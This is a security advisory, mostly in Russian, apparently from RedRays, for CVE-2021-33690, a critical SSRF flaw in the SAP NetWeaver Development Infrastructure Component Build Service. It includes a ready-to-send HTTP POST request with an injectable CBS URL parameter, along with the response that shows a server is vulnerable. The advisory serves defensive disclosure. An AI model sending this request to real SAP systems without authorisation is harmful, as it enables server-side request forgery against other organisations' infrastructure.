redrays-io/cve-2021-33690[CVE-2021-33690] Уязвимость межсерверной подделки запросов (SSRF) в инфраструктуре разработки SAP NetWeaver
[CVE-2021-33690] Уязвимость подделки серверных запросов (Server Side Request Forgery) в SAP NetWeaver Development Infrastructure
Application: SAP NetWeaver AS Java
Versions Affected: SAP NetWeaver Development Infrastructure Component Build Service versions – 7.11, 7.20, 7.30, 7.31, 7.40, 7.50
Vendor URL: https://sap.com/
Bug: SSRF
Date of Public Advisory: June 1, 2023
Reference: [https://nvd.nist.gov/vuln/detail/CVE-2021-33690]
SAP Note: 3072955
SAP Approved Fixes: True
Status: analyzed and published
ADVISORY INFORMATION
Title: [CVE-2021-33690] Server-Side Request Forgery Vulnerability in SAP NetWeaver Development Infrastructure
Risk: Critical
Advisory URL: https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/
Date published: June 1, 2023
VULNERABILITY INFORMATION
Remotely Exploitable: Yes
Locally Exploitable: No
CVSS Information
CVSS v3.1 Base Score: 9.9 / 10 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
VULNERABILITY DESCRIPTION
В различных версиях SAP NetWeaver Development Infrastructure Component Build Service, а именно 7.11, 7.20, 7.30, 7.31, 7.40 и 7.50,
была выявлена уязвимость, известная как подделка серверных запросов (Server-Side Request Forgery, SSRF).
Эта слабость в SAP NetWeaver Development Infrastructure Component Build Service позволяет атакующему,
имеющему доступ к серверу, выполнять прокси-атаки с помощью специально подобранных запросов. Последствия
таких атак могут привести к полной компрометации конфиденциальных данных сервера, влияя на их доступность.
Важно отметить, что степень серьёзности этой уязвимости зависит от того, работает ли SAP NetWeaver
Development Infrastructure (NWDI) в интрасети или в интернете. Оценка CVSS рассчитана на основе
наихудшего сценария, который предполагает работу в онлайн-режиме.
TECHNICAL DESCRIPTION
Чтобы определить, уязвим ли сервер к SSRF, отправьте следующий запрос:
POST /tc.CBS.Appl/tcspseudo HTTP/1.1
Host: redrayssap:50000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
CBS=http://%YOUR_PAYLOAD%&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
Если получен следующий ответ, это означает наличие уязвимости:
<?xml version="1.0" encoding="UTF-8"?><Cause>Could not connect to the CBS.</Cause>
About RedRays
RedRays — ведущая компания в области кибербезопасности, которая защищает ERP-системы от внутренних мошеннических
действий и внешних киберугроз. Мы гордимся тем, что предоставляем надёжные решения безопасности для крупных
корпораций и управляемых сервис-провайдеров, которые зависят от крупных ERP-систем, таких как SAP, Oracle и Microsoft.
Используя современные инструменты и стратегии, мы активно контролируем и управляем безопасностью в масштабных
SAP-средах по всему миру.
Наша главная цель — устранить пробелы в безопасности как с технической, так и с бизнес-точки зрения, обеспечивая
бесперебойную работу наших клиентов и защиту их ценных данных. Мы в RedRays стремимся поддерживать
высочайшие стандарты безопасности, предоставляя при этом исключительное обслуживание и поддержку клиентов.
About RedRays R&D
Краеугольный камень успеха RedRays — наш отдел исследований и разработок (R&D), который специализируется на
изучении и анализе уязвимостей в ключевых корпоративных приложениях. Наши инициативы в области R&D получили
признание и одобрение ведущих компаний-разработчиков ПО, таких как SAP, Oracle, Microsoft Dynamics и IBM.
Эта преданность исследованиям позволяет нам предвидеть возникающие угрозы и создавать индивидуальные решения
в области безопасности, отвечающие потребностям наших клиентов.
Наша команда состоит из опытных специалистов с разнообразными навыками в различных областях безопасности,
таких как оценка уязвимостей, тестирование на проникновение, управление инцидентами и киберразведка.
Мы стремимся проводить тщательные исследования и предоставлять передовые решения для укрепления SAP-систем
перед лицом постоянно меняющихся угроз.
Если у вас есть вопросы или вам нужны дополнительные сведения, не стесняйтесь обращаться: